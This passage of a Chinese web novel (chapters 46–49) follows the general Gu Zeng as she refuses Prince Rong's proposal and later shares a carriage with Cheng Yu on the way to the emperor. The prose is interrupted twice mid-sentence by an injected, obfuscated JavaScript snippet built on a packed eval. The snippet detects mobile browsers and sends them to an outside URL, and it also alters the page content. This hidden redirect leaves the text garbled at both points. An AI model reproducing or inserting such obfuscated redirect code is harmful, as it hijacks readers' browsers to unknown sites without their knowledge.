姜礿“啊”的一声大叫,眼睛瞪得比铜铃还圆。身侧几个熟悉荣王的挑灯宫人也皆数目瞪口呆,其中一个还手心一滑打碎了盏琉璃灯。 灯盏碎片映着氤氲的烛灯和皎洁的月色,于众人脸上映出变幻莫测的光彩。 关夫人适才还盼着这表甥女能拿下荣王青睐,可是事情来得出乎意料,她盛惊之下连喜都忘了,连连心道:“这这这……虽说荣王殿下冷冰冰的、最好拿捏,但这也来得太快了点罢?” 连最稳重自持的程彣都愣了一瞬,与程彧相觑无言一息,赶在程彧开口怒骂前死死捂住了他的嘴。 众人心思各异,顾曾现在却只想跑。 她面对敌军十万铁骑都不定会退缩,此刻却十分想找个王八壳,把里面的龟揪出来自己钻进去。 她擦了擦鬓角的汗,也不知道姜祐珣允诺的“善后”里面包不包括替她出嫁这一条。 “荣王殿下,”顾曾退开两步,嘴角不自然一抽动,“不然殿下再想想呢?” 46.与君酌(二) 几个老宫人回过神来,也跟着劝道:“顾娘子所言极是呀,殿下所说与礼制不合,如殿下这般身份,向来都是陛下指婚,您哪能亲自登门求娶?” 荣王被说动了,手指托着下巴沉吟道:“言之有理,那我明日便去求父皇的旨意。” “我说姜祐珏,你别太离谱。”程彧终于连搡带推地挣脱了程彣的魔爪,讥笑一声,“你可曾问过人家顾娘子愿不愿意?” 荣王一怔:“她自然愿意的。” 这理所当然的模样可真够欠揍的。 他生得俊朗,人品也有口皆碑的不错,出身又如此尊贵,从小到大不知有多少人费劲心思要做他的王妃。 贵妃慎之又慎地给他挑选,却谁也没选中,他就更成了让人可望不可即的存在。 印象中,这位顾娘子的母家——关氏,也曾主动向他母妃举荐过自己的女儿,可他那阵子一心只想着跟人赛马,关风遥的画像送到手边,他连看都没看一眼便直截便回绝了。 如今他自认已对情事开窍,主动放话出来说“愿意娶”,想不通这位顾娘子又能有何缘由不愿意嫁。 顾曾无声一笑,看他的眼神甚至带了几分同情——这位殿下脑子里怕是缺根弦,比她还迫切地需要一个医正来治治癔症。 她方才对荣王燃起的那一丁点的好感此刻也荡然无存,不留情面地长揖至地:“回殿下,小女不愿意。” 荣王心道她害羞,开始装聋作哑:“……” 可顾曾起身时,又朗声大喊了一遍:“我不愿意嫁你。” 荣王以为自己听错了:“啊?” 程彧嘿嘿一声坏笑:“她说‘她不愿意’,她不——愿意,荣王殿下听清楚没?没听清我就再复述一遍,她……” “混账东西给我闭嘴。”荣王这才怫然变了脸色。 她不愿意?怎么可能?! 他这辈子第一次体会到被拒绝的滋味,还是如此直接不留情面的当头一棒,那一刹是懵的,一怔过后旋即恍然大悟道:“对对,父皇总说我行事鲁莽,今日的确是冲动了。” 正当顾曾觉得他还算有点脑子的时候,荣王咂摸着开始自言自语:“都说日久才能生情,本王得想个法子把顾娘子弄到身边来,叫她时时瞧着我。” 若是叫她天天瞧着自己这副举世无双的大帅脸,定是想不爱上都不行。 顾曾:“……” 若不是看在他是皇子的份上,她一定打得他亲妈都不认识。 荣王一捶掌心,眼神复而一亮:“有了!” 他一掸红袍,单手挥就,划出了指点河山的气势:“本王上个月刚上书父皇,求他往神策军给我派个副将,父皇精挑细选,一直未能找到合适之人,我看顾娘子你英姿飒爽,给本王当副将就十分合适。” 满座哗然起来,关夫人更是快被气笑了——她是要她如花似玉的表甥女去当荣王妃的,可不是去给人当蛮力使的。 顾曾眉头一动,和程彧心有灵犀地对望了一眼,二人都是一般的神情——荣王殿下看人还挺准。 最后,顾曾是被关夫人即时解救出荣王的毒手的。 用关夫人这种过来人的话来讲,“小娘子们翩然离去的身影才是最动人的,就是得给郎君们留下一点得不到的念想,叫他们时常惦记着才行。” 不过这次不同,这次关夫人真怕再不带顾曾仓皇逃窜,荣王就会当场拉她去神策军入伍。 荣王闹了这一场,沉默地看着关家人离去,不自禁扬起了自己那压了大半辈子的嘴角。 他还是第一次见到这么“顺眼”的小娘子。 论长相,她的眉宇傲然,带着些睥睨旁人的邪气,偏偏两片薄唇总是含着若有如无的笑,生生冲淡了几分清冷,只留下从容和那山崩于面前而不乱的沉稳。 再论性情,就这身手,那更是让他欣喜若狂、珍惜得不得了。 荣王殿下轻易不思考,一动脑子就得出了一个惊人的结论——他二人实在是般配! 她美他俊;她喜欢揍人,巧了,他也秉持着“能动手就绝不动口”的原则。他二人若成了婚,闲来无事时还可以互相切磋,岂不美哉。 这实在是第一等的般配,天上少有、地下无双。 唯一的遗憾就是……她好像对他半点兴趣都没有。 不过在荣王看来,这也不是什么大事。 他信心十足,待到顾曾看到自己统领神策军的英武隽秀之姿,他二人定可两情相悦、情投意合。 ** 筵席散场时,姜礿再依依不舍也不得不放程彧离开。 此时已是深夜,程家二子牵着马并肩而行。两人心照不宣,谁都没多说什么,直至程彧幽幽落下一口气。 先前那股心绪不宁已经消失不再,他的预感果然是对的,今夜不仅发生了大事,还是于他而言最重要、最躲不开的一桩劫难。 “别骑马了。”程彣面色铁青地瞥了一眼他这不争气的弟弟,“我瞧你这魂不守舍的样子,也骑不了。” 他便向找熟人寻了辆马车,像赶鸭子一样把程彧撵上车。 马车内并未燃灯,借着清幽的月色,程彣只能依稀辨清程彧那双精致又心事重重的桃花眼。 他倏地有些感慨,这小子生得一张多情的脸,性子却偏偏和“潇洒”二字沾不上一点边。回回见到他这副落寞的样子,他就想狠狠将他的脑壳敲开花,看看里面到底都生了什么毒疮。 可程彣从来都没能下得了手。 即便没年长几岁,他也算是看着程彧长大的,就算孩子长歪了,那也不能直接丢了对吧? 当下只清了清嗓子,温言道:“今日这么多人看着,你做得不错,难为你了。” 程彧露出一丝毫无真情实感可言的苦笑:“我没听错吧?有生之年竟能听到你在骂我之前先夸我,多谢你啊怀瑾兄,接下来是不是准备开始唠叨了?” 嘿这臭小子,给点好脸色就不知道自己姓甚名谁了。 “混账东西,过来。”程彣剜他一眼,把他招呼到身边,“手伸过来给我瞧瞧。” 借着月光,能瞧见程彧的手背上有他亲手打出来的一道触目惊心的血红,仿佛力透纸背的墨迹,直渗到了皮下的骨血中。 程彣眉峰微动,呼出来的气都颤了一瞬,半响才抿了抿唇,轻声道:“明明是为你好,可有时,我真不知怎样才是对的。” 程彧没说话,只以臂为枕、仰头倚住车壁,合上了眼。 “我知道你心里难受,”程彣说道,“别恨我……事发突然,你我都没得选。” 程彧:“嗯。” 程彣叹了口气,有点不知该如何是好了。 他虽然不喜欢那位嚣张的顾娘子,但是眼瞅着也劝不住程彧,只好顺着他来,好言好语道:“好在 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“哥,”程彧忽然低声叹了口气,“我有件事想同你商量。” 程彣瞪他一眼,了然一声冷笑:“你想把她安排到十二卫?” 程彧诧异了一瞬,旋即轻笑起来:“也是,我脑子里的那些弯弯绕绕都是跟你学的,你比肚子里的蛔虫还懂我。” 聆听了几息四周,他方压低了声音继续道:“阿曾身份特殊,既现身京城,我不信同陛下一点干系都没有。若姜祐珏要她入神策军,陛下为了名正言顺把她留下,说不准真会应允。” 程彣眉梢一扬:“神策军怎么了?我瞧人家顾娘子和荣王殿下在一起挺养眼的。” 程彧没好气地“啧”了声:“神策军那么乱,连姜祐珏这种身份都镇不住的地方,我可不想让她去让趟这滩浑水。” 然后,他情意绵绵地对程彣抛了个媚眼,“我心疼我家阿曾。” 程彣的鸡皮霎时起了一身,捂着耳朵就想从窗户跳车:“祖宗你可饶了我吧,这些话你有本事在顾娘子面前说去。” 程彧被活活噎了一口。 在顾曾面前说这话,可能下场要比今天的姜祐珏惨多了,少不了被她满京城追着揍。 他的脑海里突然蹦出了顾曾挥着马鞭在身后追他的模样,细眉上挑、鼻头轻皱……啧,居然还有点想看。 程彣好半天才从浑身肉麻中缓过劲来,牙关酸溜溜地道:“你只要能有办法不让陛下怀疑到你身上,爱怎样便怎样,说到底我哪配管你这个大内统领。” 都说“嫁出去的女儿如泼出去的水”,可这臭小子,离嫁出去还八字没一撇呢,就天天胳膊肘往外拐。 知道心疼人家,怎么不知道心疼心疼自己、和他这个劳苦功高给他做牛做马的兄长?真是个小白眼狼! 白眼狼王程彧张大了口,没料到最爱多管闲事的程怀瑾竟然转了性、没张嘴就提反对意见,这简直太罕见了。 他想都没想地一声雀跃:“那还不容易,全都包在我身上,哥你一点心思都不用费。” 这混小子还真是满心满眼都是人家顾将军,是完全没听出来他在讥讽吗? “……”程彣被他气个半死,再这样下去,他觉得自己可能没几年就得香消玉殒、去地下见程家先太爷。 索性便由他去吧。 47.与君酌(三) 从兴庆宫回来后,关夫人直奔书房,揪住正优哉游哉练字的关鼎大人好生审问了一番。 她急得两眼冒火光:“是你要我替阿遥寻个替嫁的、是你提醒我在渭城有个远房表亲……都是你怂恿我的!你老实交代,你是不是有事瞒着我?” 关鼎先是愣了会,听关夫人说清今晚的状况后,立即矢口否认,连连摆手道:“我可什么都不知道,你别问我。” 甚至还试图倒打一耙,“她们二人不是你家的亲戚么?你娘家人的来历不三不四,你反倒来怪罪我?” 关夫人气得柳眉倒竖,一口气没上来,险些昏过去。 但关鼎说的也没错,人是她娘家的亲戚,查来查去还是要查回到她自己头上,对她也没好处,索性便揣着明白装糊涂、就此作罢。 此事不顺,心急如焚的关夫人便上手处理关家和唐鸿雪的婚约一事。 虽然唐大人家底也算殷实,但和荣王自是没法比,关夫人灵机一动,派了个媒人去打探唐家的口风,具体没细说,只暗戳戳表示想要撮合他和另一位“英武神勇”的小娘子。 那媒婆回来后绘声绘色地说,唐鸿雪一听关家要给自己说个擅舞刀弄棒的娘子,气得当场就变了脸色,扬声回绝了这番“好意”,还直言自己想要个贤内助而不是武夫。 第二天,唐家老夫人就主动上了门,提出要解除这纸婚约。 顾曾那时候正在教关风遥练拳,远远看了眼对面的架势,不消偷听便也意会——人家唐大人没看上她,登时心中一喜,正好落得个耳根清净。 倒是关风遥的婢女紫萝唉声叹气了好半天:“唐大人人中翘楚,顾娘子丢了这般好的姻缘,实在是可惜。” 顾曾挑了挑眉。 可惜?只能说,这小子还算识相。 关夫人得了便宜还不忘卖乖,抹着泪大肆哭诉了一番,把顾曾夸得天上地下第一好,甚至还扯了条白绫出来,涕泪涟涟:“我那苦命的姐姐走得早,就留下两个女娃让我看顾,哪知今日遇上这样的事,我从此再也没脸见人——” 她舌灿莲花,说得唐家夫人羞惭难当、连连赔罪,又跟着哭了好一阵子,这事才这么鸡飞狗跳地结束。 三日后,一切有了转机。 严阵以待的关夫人终于等到了她翘首企盼的人——抑或说,一封旨意。 来传旨的小内监年纪尚轻,脸上还挂着一抹腼腆的笑,全然没有宫里那帮浑水摸鱼了几十年的老东西那般难缠。 “夫人问贵妃的意思?”等人的功夫,小内监已经完全被收买,双颊被关夫人呈上的鲜花糕塞得鼓鼓囊囊,说话都有些费力,得灌下一口茶才能含混地开口,“嗐,夫人放心,贵妃娘娘听说了这件事后大发雷霆,把荣王殿下叫到跟前狠狠地数落了一顿呢,保准以后不会再骚扰您家顾娘子了。” 关夫人听罢,心里咯噔一下,悬着的心终于落了地,摔断气了。 听这小内监的意思,她有种要“偷鸡不成蚀把米”的预感,思来想去也猜不透贵妃的心思:荣王自己都相中的人,贵妃在这当口却跳出来不同意了,她不是最盼着她家这傻儿子早日成家么? 最后只好还是把猜疑落在了顾曾身上,心道:“难道这好好的小顾娘子出身贱籍?” 若非她实在想不出第二种解释,也不想这般胡乱猜测。 不一会,顾曾来接旨了,林霜和关风遥远远地缀在后面,生怕她被传旨的内监为难。 那小内监却是笑呵呵的,活像个小佛爷,捏着嗓子高唱道:“顾将军,陛下有请——” “是。”顾曾和林霜无言相视一眼,二人的眼神都没有惊惶,她这才安心地一掸长裙,起身跟着小内监朝外走。 关夫人一愣神,疑窦从生,笑道:“哎哟,怎么是陛下传唤,臣妇还当是皇后娘娘的旨意呢。” 小内监清澈的眼神中带着不解:“夫人这话的意思是?” 关夫人索性挑明:“皇子指婚一事,向来不都是由皇后娘娘询问闺中娘子的意思么?” 小内监了然一笑,不再应声,只对另外候着的几位宫人招招手:“你们几个,伺候顾将军去更衣。” 他刻意强调了“将军”二字,关夫人这才一个恍神,只感大大不妙:陛下难道真要允了荣王的请命,把她家这娇滴滴的小娘子拉到神策军去么? 打点好一切,小内监又转头在林霜身侧站立,欠身道:“林将军,陛下问您安呢。” 林霜忙跪下回话:“臣安好,不敢劳陛下挂念。” 小内监笑道:“陛下说了,他就是叫顾将军去聊聊渭城风情,心中实则也挂念着林将军呢,不日也有旨意要下,请您莫要忧心。” 林霜已经从顾曾那里听说了皇帝的别有用心,此刻更是头皮发麻,后心暴起了一层寒栗,也不知这狗皇帝要对顾曾做什么。 “陛下说笑,”林霜起了身,勉力笑道,“我二人先是大昭的兵,后才是姊妹,不论谁能面见陛下,都是为将者之幸事,何来忧心之说?” 在关夫人和关风遥的大眼瞪小眼中,小内监仿着他师父那语重心长的口吻叹了口气,幽幽道:“将军大义。” 没多久,顾曾穿了身官服回来了。这衣裳仿佛是按照她的尺寸精心修剪过,异常合身,衬得她挺拔而锐气难掩。 关夫人暗自纳罕,掩唇笑道:“哎呀呀阿曾,瞧你这模样,姨母都认不出来了。” 在她印象中,这是只有护疆的将军才能穿的官服,是先皇为展现第一任上将军傅公那铁马金戈的风采、特意请人精心设计的。 到了乾安帝这一代,为了敲打这些不知天高地厚的将军,皇帝特命人在此官服内裹上一层玄铁。至此,这曾经荣耀的象征便成了束缚,穿上就如钻进了密不透风的龟壳,被完完整整包裹起来,只余四肢和头露在外面。 这么身行头,穿在身上怎么说也得有小几十斤,不是一般人能受得住的。 关夫人曾见郭家老二郭霄穿过一次,年轻的大小伙子没多久就被压得直不起身,最后叫两个人给架回府了。 而眼前这看上去再寻常不过的小姑娘,穿着它竟还能行动如风,也不知是怎么长的。 “公公,请带路。”顾曾对林霜投来一道稳重的视线,随小内监离去,留给院中众女眷一个大步流星的背影。 林霜说不担心是不可能的,忧心忡忡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707536|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之下,眼皮也突突直跳,只能半睁不睁地看着她离去,一番愧疚悔恨之情还没来得及酝酿,便听一旁看得痴愣愣的紫萝低低道:“亲娘嘞,顾娘子可真俊啊……若她是个男子,我都想嫁她了。” “婢子少多嘴!”关夫人狠狠瞪了她一眼,内监走了,她也受不住了,终于鼓足勇气,手上打着悠闲的扇,脚步却一下一迟滞地挪到林霜面前,“表甥女,这究竟是怎么一回事?她究竟是谁?你又是谁,你究竟是不是我那苦命的远方表姐的女儿?” 面对她一箩筐的问题,林霜重重落下一口气:“是该向表姨母交代此事。” ** 顾曾跟着小内监出了偏门,被安排进了一架马车。 这马车宝钿满身,拉车的是三匹通体枣红的神骏良驹,她只瞥了一眼就心疼得不敢再看。 这么好的马,要是交给郭翩,指不定都繁育出多少非凡的战马了,结果却窝在京城给人拉车,简直是暴殄天物! 小内监听到她在马车中坐定,扬扬起了调:“起辇回——” “宫”字还没出口,一只大手突然探到了他的后襟。 他心中一慌,两条小短腿还来不及倒腾,便被那只手猛地提溜起来,一把揪进了马车。 马车内相对坐着两人,气氛有些不可名状的沉重。 小内监讪讪地擦了擦鬓角的汗,看向其中一人,近乎谄媚地说道:“二公子这是做什么呀……” 程二公子只要一坏笑保准是要折磨人,尤其是他现在看上去就不像安了好心的样子。 此时的程彧眉目飞扬,嘴角都快翘到天上去了,而顾曾的眼神却冷得仿佛能在夏日结霜,更显得他不正经了。 程彧对车外嘬唇作哨,示意侍卫动身驾车,后拍了拍居中的座位,对小内监笑道:“过来,你坐这。” “小人不敢。”小内监转身就要往外跳,被程彧一抬腿拦住了去路,那一刹眼泪都快出来了,“您就饶了我吧。” 程彧不满地砸吧了一声,嗔道:“没良心的,我平日里对你那么好,全都不记得了?” 小内监:“如果二公子指的那次您非要在贵妃娘娘练舞的地方打马毬,还让我们几个给您当人墙挡毬的事……小人记得;还有逼着我们在宫里戴着胡旋帽学军阵列队冲杀,差点被千牛卫给当成谋逆叛军给就地正法的事……小人也记得;还有……” “够了够了。”程彧扬手截住他滔滔不绝的控诉,睨了一眼顾曾,见她满脸写的都是“你怎么净干这些缺德事”的嘲讽,面上顿时不受控制地一红,咕哝道,“那不是从前年少轻狂么,我这两年哪还这么干过?” “不管了,你给我坐好。”他不由分说地将小内监在正座上摆好,左腿一伸,将脚搭在了对侧,似个护栏一样防止人逃跑。 小内监又拭了拭额头的汗,弱弱央求道:“不知您到底要做什么,小人尽力而为?” “也没什么大事。”程彧突然将视线垂到了地上,脸色肉眼可见地红成了一粒剔透的石榴果实,紫里透着红、红里又透着白。 他磨磨唧唧好半天,才扬了扬下巴,“那什么,她……顾将军她不好意思单独与我同乘。” 48.与君酌(四) 顾曾一脸冷漠地动了动眼皮,没说话,可那鄙夷的神色已说明了一切——兄台你要脸么?明明是你不好意思同我共乘吧! 况且她就算有这个心思,也不会那么容易叫他看出来。 小内监煞有其事地探身打量了一下顾曾,见她始终眼观鼻鼻观心,全然看不出什么羞怯之色,“嗐”了一声:“二公子,瞧您这话说的,顾将军她……她可是将军啊!” 于他种这只见过宫内一方天地的“小人物”来说,将军们那可是要把整个大昭扛在肩上的人,怎么会这么容易就不好意思呢? 程彧当头给他来了一击:“怎么,在你眼里将军们都是可男可女、时男时女?你难道不拿顾将军当小娘子么?” “疼、疼!您轻点。”小内监揉着额头,泪眼汪汪地看向顾曾求救,“小人不敢冒犯,顾将军是……是世上最可亲可敬的小娘子。” 顾曾头疼似的抬起眼皮,轻轻一瞥,看得程彧心里猛地抽动一下,耳根像被火燎了一般,滚烫得仿佛要把头发都烧着。 她终于面无表情地开口说了上车后的第一句话:“二公子,别胡闹了。” “我再胡闹你就要扒了我的皮么?”程彧几不可闻地接了句话,话是没过脑子脱口而出的,说出口的那一刹却猛地一窒,觉得这话十分耳熟。 顾曾亦有同感。 是了,她的确说过下次见面要扒了他的皮,因为他……猝不及防地咬了她一口。 即便过去了两年,她却丝毫没忘记那一刻的感觉,反而在不知多少遍的回味中,品出了点别样的情愫。 说起来,她那时有时无的癔症就是在这些默不作声的回味中滋养出的。 直到呼吸声急促到连她自己都觉得骇人,顾曾方意识到,她的心跳又开始不受控制地乱跳了,意味着——她又开始犯病了。 可恶至极,偏偏是这种时候,偏偏那讨厌的家伙还在场。 明明此人就在眼前触手可及之处,她的脑海里却还是不住地往外蹦出他的影子。过去存在过的、现在映在眼中的、还有那些她凭空臆想出的“程容与”好似商量好了一般,一股脑地往她脑子里钻,闹腾得她心乱如麻、几欲暴走。 小内监不知发生了何事,只见他左右二人不约而同地别开了视线,空气中弥漫着一丝微妙的焦灼。 他思索许久,觉得上次见到这种事还是太子和心仪已久的太子妃定亲那日…… 晌久,程彧浅咳了两声,用两指把案上一盏茶拨至顾曾面前,近乎讨好道:“那什么……阿曾,喝茶不?” “噗……”小内监一个激灵,鸡皮疙瘩跟着掉了一地,这还是他认识的那个顽劣不羁的二公子么?几时见他这般“柔情密语”过? 怎奈何程二公子的一番温情碰到了一块铁板,顾曾几乎是即刻也伸出二指抵住那茶盏的另一缘。茶盏纹丝不动地夹在二人指尖之间,她抬起凌厉的眼神,冷冷道:“不喝。” 程彧不以为忤,反而情不自禁扬了扬唇角,手指一转,将茶盏调转了个方向,送到了小内监面前:“那给你喝吧。” 小内监满脸“我这是招谁惹谁了”的无奈:“二……” 程彧一声坏笑:“少废话,喝。” 在他的淫威之下,小内监被迫掀开茶盖,咕嘟咕嘟地大口开灌,将小半张脸都埋至茶碗中。 程彧这才满意地探出前身,双手托腮,可怜兮兮地望向顾曾一眼,软绵绵叹了口气,继而道:“阿曾,我错了,你就原谅我这一回吧。” 小内监一头栽进了茶碗里,抬起自己湿漉漉的脸,手脚并用地就想往外爬:“二公子你饶了我吧,这实在不是小人该听的。” 程彧拿住他手腕,笑眯眯地将他拖起又按回座上:“欸——我不过是给顾将军赔个罪,怎么就听不得了?你若走了,她不是更羞得与我说话?” 偏头又看向顾曾,兴高采烈道,“阿曾,前几日在兴庆宫我真没认出来你,咱们上次见面你还是一身戎装,忽然换了身小娘子的打扮,任谁都不能一眼分辨出来吧。” 小内监“哎呀”一声,恍然大悟似的跺了下地,脱口道:“二公子果然是认识顾将军的么?” 果然……? 顾曾不动声色地望向程彧,见他不动声色地翘起了嘴角,顿时明白过来——这家伙又在做戏了。 他费这般心思,想要试探的人不会是这无足轻重的小内监,而是其背后之人,要么是服侍皇帝左右的内监总管,要么,便是乾安帝本人。 乾安帝一向多疑,在他看来,自己宠信多年的臣子与戍边将军企图瞒天过海,背后一定有勾结。 不论事情的原委如何,乾安帝的心肠似是不懂得弯绕,最后都会直来直去地把罪名落到“叛国谋反”之上。 人刚来没几天,就摊上了这种麻烦。 顾曾眼睫轻动,呼吸也随之一颤,还来不及去细想其中后果,一声清脆的敲击便让她恍然回过神来。 程彧将茶盏重重扣在桌上,向她投来一个志在必得的笑,转手就揪住了那小内监的发带,笑道:“顾将军是我的救命恩人,自然要铭记在心。” 他故作失言地捂住嘴,“算了,别的可不能跟你多说,少问与你无关的闲事。” 顾曾直觉不该让他一人演独角戏,可是这人偏又没提前和她打招呼串口供,她连演都不知该从何演起。 她稍加盘算,曾在西南见过他二人在一起,又不是自己人的,那便只有安宁军的贺向笛将军。此人浩浩荡荡剿了一次匪,应当向乾安帝呈报过其中缘由。 也就是说,乾安帝至少该知道这件事。 她便冷哼一声,佯作不悦的样子倒像是真恼:“有什么不能说的么?不过是在山匪手中……” “顾将军呀……”程彧果然张牙舞爪地敲了敲桌案,食指置于唇前,亮晶晶的眼睛眨了眨,“嘘——这是秘密,不可在外胡言。” 小内监被他唬这一遭,已露不忿之色,沉吟着道:“我就说嘛,前两日听见师父和季公公说话,说什么二公子有欺君之嫌,明明见过顾将军却说不认识,背地里定是暗通款曲,原来都是场误会。” 顾曾与程彧对视一眼,面色都不大好。有疑心是一码事,真听人提起背后这些算计来算计去的阴谋,二人都不禁倒吸了口凉气。 程彧做了个哭脸,表示道:“唉,这都是何种无稽之谈啊,小爷我实在是古今往来第一冤。” 顾曾也万万没想到自己牵连的第一个人不是姜祐珣,而是他。 不过转念一想,这也怪他自己,谁叫他装作不认识她,早大大方方地承认了不就得了。他们二人之间,又……应该是没有什么见不得人的。 马车缓缓行至丹阳门,小内监又讪讪躬了次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721698|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,对程彧央求道:“二公子,放小人走吧,羽林军得查验腰牌才能放咱们进去呢。” 程彧不屑地一声轻嗤:“小爷我就坐在车里,他们还敢不放人进去么?” “哎哟,”小内监吓得想要捂他的嘴,却又不敢,只得欲哭无泪,“这可是陛下定的规矩,您就少说两句吧。” 程彧抬起腿,为他让出道来,极其不情愿地努了努嘴:“对你好还当成驴肝肺,成,那你滚吧。” 小内监可完全没看出他哪点对自己好,赶在他反悔前,一阵风似的冲出了马车。 青色的纱幔四下翻飞,透过缝隙,隐约可看到车外一片威严的披甲侍卫。 顾曾将视线移回案角,沉声道:“但愿你的苦心孤诣有用。” 程彧收回探在窗外胡乱招呼的手,顺便敛了敛浑不正经的坏笑,压低声音道:“阿曾且放心,小陈公公最好传闲话,这事交给他,用不了多久就能传到陛下耳朵里。” 他叹了口气,“说到底,还是我那天失算了,只想着如何不让旁人说三道四,却忘了陛下的疑心病,置你于险地,我罪该万死。” 他言辞诚恳,顾曾蓦地顿了一顿,淡淡道:“你知道就好。” “但若是让我重新来过……”程彧抿下一口茶,目光炯炯望来,“我还是得这么选。” 若他真是做出了什么荒唐事,那两年来他费尽心思遮掩的一切都将付诸东流,事情怕只会更棘手。 顾曾没多问,只不偏不倚地回望进他眼底,缓缓道:“好,多谢你了。” 车里明明少了一个人,她却感到沉闷得难以呼吸,原本还不足为道的一身官服突然便化身成山,避无可避地压了下来,几十斤的重量好似有千斤,坠得她胸口发紧。 而她就是个生性不服输的人,越是喘不过气,身板就绷得越直,也绝不肯率先将视线移开。她才不会避开他的视线,倒显得她不好意思一样。 最后,果然是程彧输了。 “不用谢。”他颇为云淡风轻地垂头一笑,指尖却在微微发颤。 四肢百骸犹如被万蚁啃噬,心中也是又酥又痒、又麻又疼,他怔怔地落下视线,却正巧看到顾曾搭在身前的那双素手。 她的手白净又骨骼分明,谈不上细腻,甚至还有陈年冻痕,手背上青筋错落,指缘覆着一层粗茧,一看便是常年习武之人。 将军久历戎行,端坐如松,清泠卓绝,不可逼视。 可程彧却横生出了一种迫切,他现在只想挽起她的手,用脸颊和嘴唇去细细感受她冰冷又灼烧的温度。 思及此处,他浑身起了层细密的寒栗,只道自己果然是离疯不远了。 他不敢再抬眼去看,马车隔绝万物,其间只有他二人,他怕自己若是看清她的脸,会当真跨越那道界限去冒犯她。 而他绝对不可冒犯她。 “阿曾,”晌久,程彧才斟下两盏茶,对她举起其中一杯,抬起一道躲闪的视线,嗓音已是发颤,“千盼万盼,总算盼到你来京城这一日了。” 这话说的…… 顾曾脸红了一瞬,不得不偏开目光,唇角却情不自禁地牵了一牵,语气也跟着柔和了几分:“你说这话,是真心还是又一次的逢场作戏?” 程彧与她面前那盏茶碰了碰杯,自顾自地一饮而尽,笑道:“我是真心还是假意,你猜不出么?” 49.与君酌(五) 顾曾悄悄看他,只见他慵懒地倚在暗处,脸上挂着一抹不知从何而来的微醺,眸若秋月、笑意飞扬。 她心中顿感大事不妙——再看下去,自己可能就要脸红了,这才别过头去,冷冷道:“无聊。” 程彧完美诠释了什么叫做“蹬鼻子上脸”,向前探出身子,把手半搭在她冰冷的铁甲上,敲出了两声欢快的轻击:“阿曾你就猜一猜呗。” 顾曾眉头一皱,抬手就对他当头一掌:“我猜不出,也不想猜。” 程彧被她推开,却大笑起来:“可真好玩,怎么仿佛回到了刚认识你那阵子,那时候你也是这样,我说一句你就恨不得打我一拳。” “……”顾曾心道,因为你小子就欠打。 她顿了一顿,从鼻腔里哂了一声,不紧不慢地开口:“刚认识二公子那会儿,我可没想到还有人能跳出这么好的胡旋舞,怀里抱着个大活人都挡不住您老的风姿。” 程彧愣了愣,下一瞬便变了脸色,猛地一起身,脚下险些将案几带翻。 他再没心情故作风骚,只急得抓耳挠腮、上蹿下跳,就差将马车底凿个窟窿爬出去了。 末了,眼见避无可避,他只好一头扎到个角落里,捂着脸哀嚎道:“你……你都看到了?!” “是,二公子与西域美姬共舞一曲、名动京城,我有幸瞧见了。”见他这样,顾曾这才心满意足地翘起了嘴,却蓦然又想起那日错过了他的马毬赛,脸上的笑容登时一滞,或多或少失了些兴致,语气也冷了下来,“下次再能看到二公子跳舞该是什么时候,不妨定个日子,我届时还去捧场。” “怎还会有下次?!”程彧苦笑,“阿曾你饶了我吧,别再提这件事了,平日里我……我当真不是这样的!” 他现在只恨不得能跳进浴桶把自己再洗上百八十遍,心里恨程彣恨得牙痒:“程怀瑾,你可把我害惨了!!!” 可能就是无缘得见了吧。 顾曾暗自惋惜着,视线游移不定地瞥到了不远处巍峨的宫殿,那一瞬想道:“好气派,他就是在这样的地方长大的么?” 思绪戛然而止,她忽然呆愣住了,低骂了句“可恶”,已对自己恼火至极——明明此人就在身侧,她却偏偏又想起他,当真是病得不轻。 程彧见她沉默地冷着脸,想和她多说上几句,可又怕她再提起那西域舞姬的事,只好说些别的:“阿曾,快到了,一会见了陛下,说话千万要小心谨慎些。” 顾曾正对自己咬牙切齿,无言地点了点头。 程彧吃她个闭门羹,尴尬地笑了声,又道:“千万记住,你我可只有匪寨里那一面之缘。” 顾曾明显不耐烦了,小幅度点了下头。 程彧:“千万别提起我去云雾山的事。” “……好。” 程彧:“也别提起我偷圣旨和虎符的事。” “你有完没……”顾曾怒气汹汹地瞪来一眼,“你、你疯了,什么玩意你都敢偷?” 程彧心里得意起来,疯不疯的他才不在乎,她总归是理他了,这才是顶顶要紧的大事。 当下只没所谓地摆摆手:“那日的情形你也看到了,要是再晚上几天,小宸王他们不得全军覆没么?只要不对外声张,谁又知道那圣旨是我从我哥那偷的。” 顾曾把拳头捏得咯吱作响,没好气道:“那你干什么和我说,当我想知道么?” 程彧先是哈哈大笑,又满脸无辜地望向她:“上了程家的贼船就别想跑啦,此生此世、生死荣辱,都得跟我同进退。” “……”顾曾噎了一口,“强盗行径。” 程彧装作没听见,笑道:“听说你在端午宴那天不仅对杨十郎拳脚相加,还骂他是混账王八蛋?” 顾曾也不否认,抬了抬眉:“那又如何,你要替他出头?” “他算什么东西,给小爷我提鞋都不配。”程彧像吃到了什么脏东西一样,冷笑着啐了声,又看了她一眼,不由自主便放柔了声音,“他们说你‘粗鲁’,你又说我是‘强盗’,那不如凑合一下,咱俩谁也别嫌弃谁。” 顾曾火冒三丈的就要捋袖,却一把摸到了坚硬的玄甲上,就这样被程彧看出了她的用意。 